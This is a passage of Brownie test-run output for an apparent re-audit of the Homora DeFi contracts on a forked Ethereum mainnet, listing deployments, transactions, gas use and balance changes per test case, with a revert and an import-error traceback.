0xd8479c11431984355b1364a736437401183dab17f3412a03df1655d0b53232be Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 12 HomoraBank.execute confirmed - Block: 11462820 Gas used: 631860 (5.27%) spell lp balance 0 spell usdt balance 0 spell usdc balance 0 Alice delta A balance 33586977139 Alice delta B balance 35221422726 Alice delta LP balance 100000 remove liquidity gas 631860 bank delta lp balance 0 bank total lp balance 0 bank usdt totalDebt 0 bank usdt totalShare 0 bank usdc totalDebt 0 bank usdc totalShare 0 LP want 100000 bank delta LP amount 0 LP take amount 32012197412 prev werc20 LP balance 64024394824 cur werc20 LP balance 32012197412 coll size 64024394824 ========================================================================= Case 4. Transaction sent: 0x15928dbcbc882937bf588987b6e7e6db229930ead127e5986fc822048f25c20a Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 13 HomoraBank.execute confirmed - Block: 11462821 Gas used: 298819 (2.49%) spell lp balance 0 spell usdt balance 0 spell usdc balance 0 Alice delta A balance 35586977397 Alice delta B balance 35621422772 Alice delta LP balance 100000 remove liquidity gas 298819 bank delta lp balance 0 bank total lp balance 0 bank usdt totalDebt 0 bank usdt totalShare 0 bank usdc totalDebt 0 bank usdc totalShare 0 LP want 100000 bank delta LP amount 0 LP take amount 115792089237316195423570985008687907853269984665640564039457584007913129639935 prev werc20 LP balance 32012197412 cur werc20 LP balance 0 coll size 32012197412 ========================================================================= Case 5. Transaction sent: 0xd9d8aaa04e4cfed5ce697edeff7c8f208554c628fac3b474a1a1c2130f6e54cd Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 14 HomoraBank.execute confirmed - Block: 11462822 Gas used: 415713 (3.46%) position_id 1 spell lp balance 0 Alice delta A balance -2000000000 Alice delta B balance -2999999997 Alice delta lp balance 0 add liquidity gas 415713 bank lp balance 0 bank usdt totalDebt 0 bank usdt totalShare 0 bank usdc totalDebt 0 bank usdc totalShare 0 bank prev LP balance 0 bank cur LP balance 0 werc20 prev LP balance 0 werc20 cur LP balance 2246872538 ========================================================================= Case 6. Transaction sent: 0x6636b464c120a8621218307579512c844f8eae519b9457b2ffbf703bbfb2e1fd Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 15 HomoraBank.execute confirmed - Block: 11462823 Gas used: 192057 (1.60%) spell lp balance 0spell usdt balance 0 spell usdc balance 0 Alice delta A balance 2497651514 Alice delta B balance 2500340784 Alice delta LP balance 0 remove liquidity gas 192057 bank delta lp balance 0 bank total lp balance 0 bank usdt totalDebt 0 bank usdt totalShare 0 bank usdc totalDebt 0 bank usdc totalShare 0 LP want 0 bank delta LP amount 0 LP take amount 115792089237316195423570985008687907853269984665640564039457584007913129639935 prev werc20 LP balance 2246872538 cur werc20 LP balance 0 coll size 2246872538 Terminating local RPC client... Brownie v1.12.2 - Python development framework for Ethereum HomoraVReauditProject is the active project. Launching 'ganache-cli --port 8545 --gasLimit 12000000 --accounts 10 --hardfork istanbul --mnemonic brownie --fork https://mainnet.infura.io/v3/ID'... Running 'uniswap_spell_usdc_usdt_test.py::main'... Transaction sent: 0x88f8c681dc12efe65e26d2efa59c0b2f7f2cb938e48bcfb6e963ac754b6aea49 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0 WERC20.constructor confirmed - Block: 11462802 Gas used: 1855697 (15.46%) WERC20 deployed at: 0x3194cBDC3dbcd3E11a07892e7bA5c3394048Cc87 Transaction sent: 0x52aad4031537dd7b6490479adc95fd671f57089422cc77b7abc5813a4fdbf67d Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1 SimpleOracle.constructor confirmed - Block: 11462803 Gas used: 417736 (3.48%) SimpleOracle deployed at: 0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6 Transaction sent: 0xe2affc7545b134ad0230e7711efb90915392878e711f94030c2152c1c8d3c2e8 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 2 SimpleOracle.setETHPx confirmed - Block: 11462804 Gas used: 38249 (0.32%) Transaction sent: 0x96bf4ffc65ed5f0054af1734291ec6e23080d14673cc2690c7039fdee7fd33c9 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 3 UniswapV2Oracle.constructor confirmed - Block: 11462805 Gas used: 384200 (3.20%) UniswapV2Oracle deployed at: 0x6951b5Bd815043E3F842c1b026b0Fa888Cc2DD85 Transaction sent: 0x784bc774b5e4520ff23822246bbef6567abf3c007b0e597ef4e786ca10a85297 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 4 ProxyOracle.constructor confirmed - Block: 11462806 Gas used: 1215346 (10.13%) ProxyOracle deployed at: 0xe0aA552A10d7EC8760Fc6c246D391E698a82dDf9 Transaction sent: 0x89bf5f373451fc4dd2adc430f53a98efa4fbda77a828b53cd9778a056e6fb8a3 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 5 ProxyOracle.setWhitelistERC1155 confirmed - Block: 11462807 Gas used: 31221 (0.26%) Transaction sent: 0x29ca82fedd8221f3d90332b1f14a83fb0babd3abf5a8e0b8c2b3797218c3f540 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 6 ProxyOracle.setOracles confirmed - Block: 11462808 Gas used: 56835 (0.47%) Transaction sent: 0xc952dd93bcbf7235edb30d05f7c024aa1f40b0a159de16d29a7239a5218d7912 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 7 HomoraBank.constructor confirmed - Block: 11462809 Gas used: 3700237 (30.84%) HomoraBank deployed at: 0xcCB53c9429d32594F404d01fbe9E65ED1DCda8D9 Transaction sent: 0xa1fbf66e830af8f00d7a188d393edda0f9faa31f16f62ad53c1ddcf1913fa551 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 8 HomoraBank.initialize confirmed - Block: 11462810 Gas used: 187114 (1.56%) Transaction sent: 0xf059664a2c3542e5b464bddf28c34c2aad4d901354969ec8a8041a6258234896 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0 ICEtherEx.mint confirmed - Block: 11462811 Gas used: 97948 (0.82%) Transaction sent: 0x10db4515efbb370de9f69d3db1bda58aa1442246686ad7637bb7e34a21dd7274 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1 ICEtherEx.transfer confirmed - Block: 11462812 Gas used: 49998 (0.42%) Transaction sent: 0x713879ee21e16f5d69227978be959d8e43b315615920db2705a5af45b092e938 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 2 IComptroller.enterMarkets confirmed - Block: 11462813 Gas used: 45842 (0.38%) Transaction sent: 0x12505f8a8ad53691b1f841847d35767f181a3e75303725aa5c8e6324004850bc Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 9 HomoraBank.addBank confirmed - Block: 11462814 Gas used: 60895 (0.51%) Transaction sent: 0x16f9eb6f07632ca417b585831d512d03f00f3146f5dfee78cddf5140f6f5b9e7 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 10 HomoraBank.addBank confirmed - Block: 11462815 Gas used: 70547 (0.59%) sending from 0xBE0eB53F46cd790Cd13851d5EFf43D12404d33E8 1000000000000 Tether USD to 0x33A4622B82D4c04a53e170c638B944ce27cffce3 Transaction sent: 0x73c8e1f266c6244046c9849b1372dcc50a16b2dba6c28f460e147e1c3c11ebde Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 649 IERC20Ex.transfer confirmed - Block: 11462816 Gas used: 41209 (0.34%) sending from 0xA191e578a6736167326d05c119CE0c90849E84B7 1000000000000 USD Coin to 0x33A4622B82D4c04a53e170c638B944ce27cffce3 Transaction sent: 0x62fc1b976800994542fb074a8aeb19f2f8ac427609a716f5af0ce0017b0c33fd Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1 IERC20Ex.transfer confirmed - Block: 11462817 Gas used: 42381 (0.35%) sending from 0xBE0eB53F46cd790Cd13851d5EFf43D12404d33E8 1000000000000 Tether USD to 0xcCB53c9429d32594F404d01fbe9E65ED1DCda8D9 Transaction sent: 0x41bbbdaa8fa25acd11004789906011ab253c6826294c36b0caf55590df00024e Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 650 IERC20Ex.transfer confirmed - Block: 11462818 Gas used: 41209 (0.34%) sending from 0x397FF1542f962076d0BFE58eA045FfA2d347ACa0 1000000000000 USD Coin to 0xcCB53c9429d32594F404d01fbe9E65ED1DCda8D9 Transaction sent: 0x33a05509fdc45f125ae80fefc88fc261d294c97c419b9c26309491862e52532f Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1 IERC20Ex.transfer confirmed - Block: 11462819 Gas used: 42381 (0.35%) Alice usdt balance 1000000000000 Alice usdc balance 1000000000000 Transaction sent: 0x4f4ffca4e75079fe7bf867ade566c5a0f857c2d1efdc1d78909bf326e80d3a13 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 347 IERC20Ex.transfer confirmed - Block: 11462820 Gas used: 35936 (0.30%) Transaction sent: 0xdd784d488ab9d8f170aade72a222e22173ab13c11ce375bc7f40fd41a419b5ff Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 5 IERC20Ex.approve confirmed - Block: 11462821 Gas used: 31297 (0.26%) Transaction sent: 0x1b3f45d4648f863a05d03697186badb445b50cfcfa7c0be11b88039c2c93aca1 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 6 IERC20Ex.approve confirmed - Block: 11462822 Gas used: 31297 (0.26%) Transaction sent: 0x174e9ae6306e8e4bb09d04b2801b529f19cdd64da41cd12a1bfd6c37f7461892Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 7 IERC20Ex.approve confirmed - Block: 11462823 Gas used: 34811 (0.29%) Transaction sent: 0x3c741af7541b8cbf66618f3e8502af81335e3068ae2bcb982014d811ba7c56d4 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 8 IERC20Ex.approve confirmed - Block: 11462824 Gas used: 34799 (0.29%) Transaction sent: 0x1f16e1a8f68632e395db94a45bed6adb0e5200c8659747a3fbacd32d26b3e5ff Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 9 IERC20Ex.approve confirmed - Block: 11462825 Gas used: 29286 (0.24%) Transaction sent: 0xc1e092f74d05253d60d59ae1f5a548048fc754b7ea6454b2ce07b41e254ca1e5 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 11 UniswapV2SpellV1.constructor confirmed - Block: 11462826 Gas used: 2407923 (20.07%) UniswapV2SpellV1 deployed at: 0x7a3d735ee6873f17Dbdcab1d51B604928dc10d92 Transaction sent: 0x7c59d5faa11be5eb189cdaafa7c5c7820478d155275b633a893a650b707d1bf2 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 12 UniswapV2SpellV1.getPair confirmed - Block: 11462827 Gas used: 114134 (0.95%) ========================================================================= Case 1. Transaction sent: 0xa4144db968319354c38968386eb692b736c38b47b3a0329ce5f90b43ba7a8fb9 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 10 HomoraBank.execute confirmed - Block: 11462828 Gas used: 1121814 (9.35%) position_id 1 spell lp balance 0 Alice delta A balance -40000000000 Alice delta B balance -49999999998 add liquidity gas 1121814 bank lp balance 0 bank usdt totalDebt 1000000000 bank usdt totalShare 1000000000 bank usdc totalDebt 200000000 bank usdc totalShare 200000000 bank prev LP balance 0 bank cur LP balance 0 werc20 prev LP balance 0 werc20 cur LP balance 41005887260 ========================================================================= Case 2. Transaction sent: 0xc8993d36028ecb53267e78c7d144544808db38c57e0672d17678f40f119092b9 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 11 HomoraBank.execute confirmed - Block: 11462829 Gas used: 543560 (4.53%) spell lp balance 0 spell usdt balance 0 spell usdc balance 0 Alice delta A balance 44625166382 Alice delta B balance 45388972784 Alice delta LP balance 100000 remove liquidity gas 543560 bank delta lp balance 0 bank total lp balance 0 bank usdt totalDebt 0 bank usdt totalShare 0 bank usdc totalDebt 0 bank usdc totalShare 0 LP want 100000 bank delta LP amount 0 LP take amount 115792089237316195423570985008687907853269984665640564039457584007913129639935 prev werc20 LP balance 41005887260 cur werc20 LP balance 0 coll size 41005887260 Terminating local RPC client... Brownie v1.12.2 - Python development framework for Ethereum HomoraVReauditProject is the active project. Launching 'ganache-cli --port 8545 --gasLimit 12000000 --accounts 10 --hardfork istanbul --mnemonic brownie --fork https://mainnet.infura.io/v3/ID'... Running 'wmasterchef_test.py::main'... Transaction sent: 0x5eed64c1a584d9863e856c23c28935cfe6e14eff4222df98f1a46866d334303c Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0 WMasterChef.constructor confirmed - Block: 11462802 Gas used: 2278156 (18.98%) WMasterChef deployed at: 0x3194cBDC3dbcd3E11a07892e7bA5c3394048Cc87 Transaction sent: 0xc65e48704a92e0c8cd54c1f13059d15cb1c2a7b31d0c4ef0cb6031931af1b284 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 5 IERC20Ex.approve confirmed - Block: 11462803 Gas used: 31297 (0.26%) Transaction sent: 0xe177b01ee96fabdb91a017f6cf0e9b74f87d3032d630b37ab20f7b764a542a2c Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 6 IERC20Ex.approve confirmed - Block: 11462804 Gas used: 34811 (0.29%) Transaction sent: 0x920193e89195b5bb23d9a50f555aa71eb2172944255b839a877a785ddf713619 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 7 IERC20Ex.approve confirmed - Block: 11462805 Gas used: 29264 (0.24%) Transaction sent: 0x12ee65cc8c5dc1e275dc9da22cd2c8030ec2c47ca273a4841c2d4ac2ec274c6b Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 8 IERC20Ex.approve confirmed - Block: 11462806 Gas used: 29354 (0.24%) Transaction sent: 0xd64c74e80d8e8b370ba3eb7772ea1f4f73e3c9313e52dfc564f2ebbfcd79d571 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 9 IERC20Ex.approve confirmed - Block: 11462807 Gas used: 29354 (0.24%) Transaction sent: 0x1382d2e439f7d55cd659c4c304a5c91ddfe2baf20bc21f03fefaf10de3dea224 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 10 IERC20Ex.approve confirmed - Block: 11462808 Gas used: 29354 (0.24%) Transaction sent: 0x3dbfb35dda7cccfeca0e40b3e21516184fe456746912b75fee88934c4203b88e Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 11 IERC20Ex.approve confirmed - Block: 11462809 Gas used: 29354 (0.24%) sending from 0xBE0eB53F46cd790Cd13851d5EFf43D12404d33E8 1000000000000 Tether USD to 0x33A4622B82D4c04a53e170c638B944ce27cffce3 Transaction sent: 0x73c8e1f266c6244046c9849b1372dcc50a16b2dba6c28f460e147e1c3c11ebde Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 649 IERC20Ex.transfer confirmed - Block: 11462810 Gas used: 41209 (0.34%) sending from 0xA191e578a6736167326d05c119CE0c90849E84B7 1000000000000 USD Coin to 0x33A4622B82D4c04a53e170c638B944ce27cffce3 Transaction sent: 0x62fc1b976800994542fb074a8aeb19f2f8ac427609a716f5af0ce0017b0c33fd Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1 IERC20Ex.transfer confirmed - Block: 11462811 Gas used: 42381 (0.35%) sending from 0xCEfF51756c56CeFFCA006cD410B03FFC46dd3a58 1000000000000 Wrapped Ether to 0x33A4622B82D4c04a53e170c638B944ce27cffce3 Transaction sent: 0x6c7b5ce4a751541659b7e794bd08fac622eba555b7f644e69890c60cdce67e29 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1 IERC20Ex.transfer confirmed - Block: 11462812 Gas used: 36770 (0.31%) sending from 0x6B4E746fA3c8Fd5eC1861833C883360C11C4c5B3 10000000000 SushiSwap LP Token to 0x33A4622B82D4c04a53e170c638B944ce27cffce3 Transaction sent: 0x8a0a74af2b40fb09fcec461d872542ea0cb59df0c3ef5cacb5d0fb539140cdf8 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 180 IERC20Ex.transfer confirmed (ds-math-sub-underflow) - Block: 11462813 Gas used: 23017 (0.19%) File "brownie/_cli/run.py", line 49, in main return_value = run(args["<filename>"], method_name=args["<function>"] or "main")File "brownie/project/scripts.py", line 66, in run return getattr(module, method_name)(*args, **kwargs) File "./wmasterchef_test.py", line 51, in main setup_transfer(lpusdt, accounts.at( File "./wmasterchef_test.py", line 14, in setup_transfer asset.transfer(to, amt, {'from': fro}) File "brownie/network/contract.py", line 1300, in __call__ return self.transact(*args) File "brownie/network/contract.py", line 1174, in transact return tx["from"].transfer( File "brownie/network/account.py", line 646, in transfer receipt._raise_if_reverted(exc) File "brownie/network/transaction.py", line 372, in _raise_if_reverted raise exc._with_attr( VirtualMachineError: revert: ds-math-sub-underflow Terminating local RPC client... Brownie v1.12.2 - Python development framework for Ethereum HomoraVReauditProject is the active project. Launching 'ganache-cli --port 8545 --gasLimit 12000000 --accounts 10 --hardfork istanbul --mnemonic brownie --fork https://mainnet.infura.io/v3/ID'... Running 'wstaking_rewards_test.py::main'... Transaction sent: 0x2997df0880c39a5ed1aaddcc3ca112eecc66b0a1bf816ea4f47c8a383f245445 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0 WStakingRewards.constructor confirmed - Block: 11462815 Gas used: 2042087 (17.02%) WStakingRewards deployed at: 0x3194cBDC3dbcd3E11a07892e7bA5c3394048Cc87 Transaction sent: 0x5f1be9e83764bee7e005b8827d533bcb357a2b3cc544d634885b647c28eca9f9 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 5 IERC20Ex.approve confirmed - Block: 11462816 Gas used: 29406 (0.25%) Transaction sent: 0x5daabdc3478e1679ff1560d54dc0a94d18f93ecb3e6eba00616a842d6fd720d0 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 6 IERC20Ex.approve confirmed - Block: 11462817 Gas used: 34811 (0.29%) Transaction sent: 0xfaf4030bd936090ffb0531a3aa1120975b042ec1530862709576a7c23fb5d59a Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 7 IERC20Ex.approve confirmed - Block: 11462818 Gas used: 29336 (0.24%) Transaction sent: 0x011c204f85180ac6d683d9d6dd787d5ac6c3b0a73b4ee29a71ffc57b3a74b3fc Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 8 IERC20Ex.approve confirmed - Block: 11462819 Gas used: 29406 (0.25%) Transaction sent: 0xada3982d685c3ad1214cd0de45470d389b8281cf99eca1aa0bf727d9ad9ccf14 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 9 IERC20Ex.approve confirmed - Block: 11462820 Gas used: 34811 (0.29%) Transaction sent: 0x930afe5898484572c912c886435acf617090b6f9bfd67a85e89862babdb43c28 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 10 IERC20Ex.approve confirmed - Block: 11462821 Gas used: 29336 (0.24%) sending from 0xC49F76a596D6200E4f08F8931D15B69DD1f8033E 1000000000000000000 Perpetual to 0x33A4622B82D4c04a53e170c638B944ce27cffce3 Transaction sent: 0xf073823ae334234226c6a7bdab86f6f5d179d2301f09ae1d8781be03a8014eb6 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1 IERC20Ex.transfer confirmed - Block: 11462822 Gas used: 36167 (0.30%) sending from 0xA191e578a6736167326d05c119CE0c90849E84B7 1000000000000 USD Coin to 0x33A4622B82D4c04a53e170c638B944ce27cffce3 Transaction sent: 0x62fc1b976800994542fb074a8aeb19f2f8ac427609a716f5af0ce0017b0c33fd Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1 IERC20Ex.transfer confirmed - Block: 11462823 Gas used: 42381 (0.35%) sending from 0x5E4B407eB1253527628bAb875525AaeC0099fFC5 100000000000000000000 Balancer Pool Token to 0x33A4622B82D4c04a53e170c638B944ce27cffce3 Transaction sent: 0xb0af4ac61f6260a911bb3c445297cb0baa2875ec3fb2fb051be6148301a6d2b4 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1 IERC20Ex.transfer confirmed - Block: 11462824 Gas used: 37029 (0.31%) =========================================================== Case 1. =========================================================== Case 2. Transaction sent: 0xa06c741a09980cc8cee3ea0bcff7afd16cc0ae8d0fd740861009e0e0114f3203 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 11 WStakingRewards.mint confirmed - Block: 11462825 Gas used: 87933 (0.73%) alice bpt balance 0 Transaction sent: 0x4096a90282d7d2edab9a3b360f56e4f4aca5c7816e5443be056850ef83260ee6 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 12 WStakingRewards.burn confirmed - Block: 11462826 Gas used: 119417 (1.00%) alice bpt balance 100000000000000000000 alice perp balance 59026056321849511400 perp gained 58026056321849511400 perp calculated reward 58026056321849511400 Transaction sent: 0x329bb4b6d60009550d8b4588406a7fdc537db9e073714f141da32ddbbbe53e42 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 13 IStakingRewards.stake confirmed - Block: 11462827 Gas used: 54007 (0.45%) Transaction sent: 0xd5200a4eacfe1751b6907045d635621a8f638c426c142c15f9ba70cddaec229a Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 14 IStakingRewards.withdraw confirmed - Block: 11462828 Gas used: 75525 (0.63%) Transaction sent: 0x9d3c128e19ea7ab07a400649e072281998c79ced022f53045ca67832b294e909 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 15 IStakingRewards.getReward confirmed - Block: 11462829 Gas used: 59297 (0.49%) perp gained from directly staking 58014455750813555900 =========================================================== Case 3. Transaction sent: 0xbe331880953e913d5161fcdbd473f357ad6a3f78b5d6f8454461c118c5d258b7 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 16 WStakingRewards.mint confirmed - Block: 11462830 Gas used: 79443 (0.66%) alice bpt balance 0 Transaction sent: 0xcd190acafdcff05c2f23b99f8d4f653059e163a8e675268bd9fa78f786959219 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 17 WStakingRewards.burn confirmed - Block: 11462831 Gas used: 120761 (1.01%) alice bpt balance 100000000000000000000 alice perp balance 175054967823476623200 perp gained 58014455750813555900 perp calculated reward 58014455750813555900 Transaction sent: 0x37e2a19140c7bf9689b71eb7b3e7d3adaac650bc73f0698bc0f77a0e741fe64f Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 18 IStakingRewards.stake confirmed - Block: 11462832 Gas used: 54007 (0.45%) Transaction sent: 0x97498fbd0fb0339369a902e87869562e8239593d6e4213beca49912b76374c8b Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 19 IStakingRewards.withdraw confirmed - Block: 11462833 Gas used: 75525 (0.63%) Transaction sent: 0xac4f27f612d29ce10df84128d55aa67cc2e9d558bed8e01d1a35a70be525cbf2 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 20 IStakingRewards.getReward confirmed - Block: 11462834 Gas used: 59297 (0.49%) perp gained from directly staking 58002855179777600400=========================================================== Case 4. Transaction sent: 0x0f20fccf8a9129723762afb4afe68808479a7f6161b237827df94ff407b3bbc8 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 21 WStakingRewards.mint confirmed - Block: 11462835 Gas used: 79443 (0.66%) alice bpt balance 0 Transaction sent: 0xe23e39fb539e0b915d1ce16755bf5ee570a93684862cb5cf57b4e6217b836fb9 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 22 WStakingRewards.burn confirmed (ERC1155: burn amount exceeds balance) - Block: 11462836 Gas used: 29765 (0.25%) Transaction sent: 0xca67800d04879784c150ffe5d3d3080dd1438c88b65797a9273ed5210486d753 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 23 WStakingRewards.burn confirmed - Block: 11462837 Gas used: 164507 (1.37%) Transaction sent: 0xf426174500f165f528f3c6c9513778f06c0bff173f2cc73276bb8de3ba28c464 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 24 WStakingRewards.burn confirmed - Block: 11462838 Gas used: 120761 (1.01%) perp gained 88339490609184182450 perp calc reward 88339490609184182450 Transaction sent: 0xbebc728f9afc482f9bb201c41597f7d36fb268a1f5699624e77f4e9fa66ea245 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 25 IStakingRewards.stake confirmed - Block: 11462839 Gas used: 54007 (0.45%) Transaction sent: 0xf1fad9812cb99d317cf2d50e3888dca3f717550562abadc863ca2d49d02fcd7a Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 26 IStakingRewards.withdraw confirmed - Block: 11462840 Gas used: 90525 (0.75%) Transaction sent: 0x6d47450e0110ee159a02545972c890adc51be87310a827aa0e6e55963871ac7a Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 27 IStakingRewards.withdraw confirmed - Block: 11462841 Gas used: 75525 (0.63%) Transaction sent: 0x8a2a165e39dfea6279eb49919578492d46e2519e7ff3c5dc346dc1f95631ff03 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 28 IStakingRewards.getReward confirmed - Block: 11462842 Gas used: 59297 (0.49%) perp gained from wstaking 88339490609184182450 perp gained from directly staking 88327890038148226950 Terminating local RPC client... Brownie v1.12.2 - Python development framework for Ethereum HomoraVReauditProject is the active project. Launching 'ganache-cli --port 8545 --gasLimit 12000000 --accounts 10 --hardfork istanbul --mnemonic brownie --fork https://mainnet.infura.io/v3/ID'... Running 'balancer_oracle_test.py::main'... Transaction sent: 0x88f8c681dc12efe65e26d2efa59c0b2f7f2cb938e48bcfb6e963ac754b6aea49 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0 WERC20.constructor confirmed - Block: 11462812 Gas used: 1855697 (15.46%) WERC20 deployed at: 0x3194cBDC3dbcd3E11a07892e7bA5c3394048Cc87 Transaction sent: 0x52aad4031537dd7b6490479adc95fd671f57089422cc77b7abc5813a4fdbf67d Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1 SimpleOracle.constructor confirmed - Block: 11462813 Gas used: 417736 (3.48%) SimpleOracle deployed at: 0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6 Transaction sent: 0xa6c2d6fe503336bda9ca0ab5489199ebceb9d4f1b5dba1bbce92aadd7b3a4dde Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 2 SimpleOracle.setETHPx confirmed - Block: 11462814 Gas used: 37997 (0.32%) Transaction sent: 0x0ab53c8bb9c4498f168c792ae872939fcbe77d2c9439898d56b788990f11c9d6 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 3 Balancer2TokensOracle.constructor confirmed - Block: 11462815 Gas used: 933311 (7.78%) Balancer2TokensOracle deployed at: 0x6951b5Bd815043E3F842c1b026b0Fa888Cc2DD85 Transaction sent: 0x784bc774b5e4520ff23822246bbef6567abf3c007b0e597ef4e786ca10a85297 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 4 ProxyOracle.constructor confirmed - Block: 11462816 Gas used: 1215346 (10.13%) ProxyOracle deployed at: 0xe0aA552A10d7EC8760Fc6c246D391E698a82dDf9 Transaction sent: 0x89bf5f373451fc4dd2adc430f53a98efa4fbda77a828b53cd9778a056e6fb8a3 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 5 ProxyOracle.setWhitelistERC1155 confirmed - Block: 11462817 Gas used: 31221 (0.26%) Transaction sent: 0x2cfef28569d370eff83c598ea21c583ded4d4578abee64899fd9548692b686f2 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 6 ProxyOracle.setOracles confirmed - Block: 11462818 Gas used: 52647 (0.44%) ========================================================================= Case 1. lp price 4408542047067506608742515525483040500 dai price 8887571220661441971398610676149 weth price 5192296858534827628530496329220096 Terminating local RPC client... Brownie v1.12.2 - Python development framework for Ethereum HomoraVReauditProject is the active project. Launching 'ganache-cli --port 8545 --gasLimit 12000000 --accounts 10 --hardfork istanbul --mnemonic brownie --fork https://mainnet.infura.io/v3/ID'... File "brownie/_cli/run.py", line 49, in main return_value = run(args["<filename>"], method_name=args["<function>"] or "main") File "brownie/project/scripts.py", line 52, in run module = _import_from_path(script) File "brownie/project/scripts.py", line 110, in _import_from_path _import_cache[import_str] = importlib.import_module(import_str) File "/usr/local/Cellar/python@3.9/3.9.1/Frameworks/Python.framework/Versions/3.9/lib/python3.9/importlib/__init__.py", line 127, in import_module return _bootstrap._gcd_import(name[level:], package, level) File "<frozen, line line, in in File "<frozen, line line, in in File "<frozen, line line, in in File "<frozen, line line, in in File "<frozen, line line, in in File "<frozen, line line, in in File "./borrow_test.py", line 2, in <module> from brownie import ( ImportError: cannot import name 'UniswapV2LPKP3ROracle' from 'brownie' (/usr/local/lib/python3.9/site-packages/brownie/__init__.py) Terminating local RPC client... Brownie v1.12.2 - Python development framework for Ethereum HomoraVReauditProject is the active project. Launching 'ganache-cli --port 8545 --gasLimit 12000000 --accounts 10 --hardfork istanbul --mnemonic brownie --fork https://mainnet.infura.io/v3/ID'... Running 'curve_add_remove_3_test.py::main'... Transaction sent: 0x88f8c681dc12efe65e26d2efa59c0b2f7f2cb938e48bcfb6e963ac754b6aea49 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0 WERC20.constructor confirmed - Block: 11462799 Gas used: 1855697 (15.46%) WERC20 deployed at: 0x3194cBDC3dbcd3E11a07892e7bA5c3394048Cc87 Transaction sent: 0x52aad4031537dd7b6490479adc95fd671f57089422cc77b7abc5813a4fdbf67d Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1 SimpleOracle.constructor confirmed - Block: 11462800 Gas used: 417736 (3.48%) SimpleOracle deployed at: 0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6 Transaction sent: 0xc0dceaccc2bb98034d6ef65f4c5d0f3a0fb74c3558e7b66b538d2e128ab198b1 Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 2 SimpleOracle.setETHPx confirmed - Block: 11462801 Gas used: 53027 (0.44%)Transaction sent: 0x6c91272d1e90416a862a2a1078a868ce3178139d7d96a3c4bcdb7dfd394972fd Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 